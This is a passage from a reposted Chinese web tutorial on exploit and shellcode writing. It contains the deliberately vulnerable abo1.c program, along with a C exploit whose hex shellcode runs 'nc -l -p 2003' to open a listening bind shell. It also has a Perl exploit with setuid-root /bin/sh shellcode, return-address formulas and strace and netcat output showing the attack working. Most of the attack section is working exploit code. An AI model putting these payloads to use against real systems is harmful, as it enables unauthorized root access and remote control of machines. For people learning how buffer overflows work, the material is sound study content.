打印本文 打印本文 关闭窗口 关闭窗口
(转载)Exploit,shellcode经验技巧杂谈
作者:武汉SEO闵涛  文章来源:敏韬网  点击数2121  更新时间:2009/4/25 0:45:03  文章录入:mintao  责任编辑:mintao
sp;               inc ecx
00000051  42                inc edx
00000052  42                inc edx
00000053  42                inc edx
00000054  42                inc edx
00000055  43                inc ebx
00000056  43                inc ebx
00000057  43                inc ebx
00000058  43                inc ebx
00000059  44                inc esp
0000005A  44                inc esp
0000005B  44                inc esp
0000005C  44                inc esp
0000005D  45                inc ebp
0000005E  45                inc ebp
0000005F  45                inc ebp
00000060  45                inc ebp

其实就是这么简单,剩下的就是要测试一下shellcode是否能正常运行了。这里我用非安全高级缓冲区溢出里面的一个例子来测试。(当然,这段汇编代码可以进一步优化)

/*abo1.c                                                 *
* specially crafted to feed your brain by gera@core-sdi.com */
/* Dumb example to let you get introduced¡­                  */
int main(int argv,char **argc)
{  
char buf[256];
strcpy(buf,argc[1]);
}

上面的代码是漏洞程序,下面是我写的exploit,那段长长的shellcode就是刚才的nc -l -p 2003的shellcode。

#exp2.c
#codz by OYXin
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#define  bufsize 272
char shellcode[] =
        "\xeb\x33\x5e\x31\xc0\x88\x46\x07\x88\x46\x0a\x88\x46\x0d\x88"
        "\x46\x12\x89\x76\x13\x8d\x5e\x08\x89\x5e\x17\x8d\x5e\x0b\x89"
        "\x5e\x1b\x8d\x5e\x0e\x89\x5e\x1f\x89\x46\x23\xb0\x0b\x89\xf3"
        "\x8d\x4e\x13\x8d\x56\x23\xcd\x80\xe8\xc8\xff\xff\xff\x2f\x75"
        "\x73\x72\x2f\x6e\x63\x23\x2d\x6c\x23\x2d\x70\x23\x32\x30\x30"
        "\x33\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44"
        "\x44\x44\x44\x45\x45\x45\x45";

int main(int argc,char *argv[]){
    char buf[bufsize+1];
    char  *prog[]={"./abo1",buf,NULL};
    char  *env[]={"HOME=/root",shellcode,NULL};
    unsigned long ret;
    ret=0xc0000000-sizeof(void *)-strlen(prog[0])-strlen(shellcode)-0x02;
    memset(buf, 0x90, bufsize);
    memcpy(&buf[bufsize-(sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(2*sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(3*sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(4*sizeof(ret))], &ret, sizeof(ret));
    buf[bufsize] = ''''\0'''';
    execve(prog[0],prog,env);
    return  0;
}
这里是输出。
[oyxin@OYXin buf]$ ./exp2
ls                 #这里是客户端输入后,服务端的输出
yeah!lol....


[oyxin@OYXin oyxin]$ nc -vv localhost 2003
OYXin [127.0.0.1] 2003 (cfinger) open
Ls                #客户端输入
yeah!lol....

    可以看到在运行了exp2后,成功的打开了2003这个端口,shellcode成功了。
    顺便提提,我看到可爱的刺刺在绿盟问了shellcode地址的计算问题(用环境变量),关于利用环境变量写exploit netric和gera的非安全高级缓冲区溢出编程里面都有介绍。
gera的计算方法:ret=0xbffffffa-strlen(name_of_program)-strlen(shellcode)"
netric的计算方法:ret = 0xc0000000 - sizeof(void *) - strlen(prog[0]) -strlen(shell) - 0x02;
注意这段话:“这里我们发现在linux_binprm 结构里面的执针p被设置为指向最后memory page在减去一个void指针,像0xc0000000 - 0x04这样”,可以计算一下netric的ret =0xc0000000-0x04-0x02-strlen(prog[0])-strlen(shell) = 0xbffffffa-strlen(prog[0]-strlen(shell),因为strlen(prog[0]就是strlen(name_of_progarm),所以这两个公式是完全一样的。没有什么不同。关于原理可以查资料,刺翻译的非安全高级缓冲区溢出,和我翻译的netric的文章都解释的很清楚了。
    禁不住又要扯扯我喜爱的语言perl,perl虽然没有execve()函数,但是任然可以轻松简单的写利用环境变量的exploit.
下面是我用perl写的针对abo1的exploit。

#!/usr/bin/perl
#code by OYXin
$shellcode =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80".
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80".
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69".
"\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
$path = "./abo1";
$ret = 0xbffffffa - length($shellcode) - length($path);        #这里就是计算公式,上面刚刚提到。
$new_ret = pack(''''l'''', $ret);
$buffer = "A" x 268;
$buffer .= $new_ret;
local($ENV{''''OYXin''''}) = $shellcode;
exec("$path  $buffer");

是不是用perl写很轻松阿,嘿嘿。

    扯远了,回到正题吧 :p
    当时我调试程序的时候犯了一个错误,我的nc在/usr/bin/这个目录,而不是/usr这个目录。这里可以用strace这个工具调试.
strace ./exp2可以看到下面的提示。
execve("/usr/nc", ["/usr/nc", "-l", "-p", "2003"], [/* 0 vars */]) = -1 ENOENT (No such file or direc or directory)
这样我们就知道了是/usr目录没有nc了,拷贝nc到/usr目录之后继续strace ./exp2
可以看到输出的最后一行是
accept(3,

嘿嘿,监听成功,打开另外一个xterm用nc连接上去,可以在先前运行strace的屏幕输出里面看到
accept(3, {sa_family=AF_INET, sin_port=htons(32886), sin_addr=inet_addr("127.0.0.1")}, [16]) = 4
rt_sigaction(SIGALRM, {SIG_IGN}, {SIG_IGN}, 8) = 0
alarm(0)                                = 0
close(3)                                = 0
getsockname(4, {sa_family=AF_INET, sin_port=htons(2003), sin_addr=inet_addr("127.0.0.1")}, [16]) = 0
select(16, [0 4], NULL, NULL, NUL

在客户端输入ls,输出是
select(16, [0 4]

上一页  [1] [2] [3]  下一页

打印本文 打印本文 关闭窗口 关闭窗口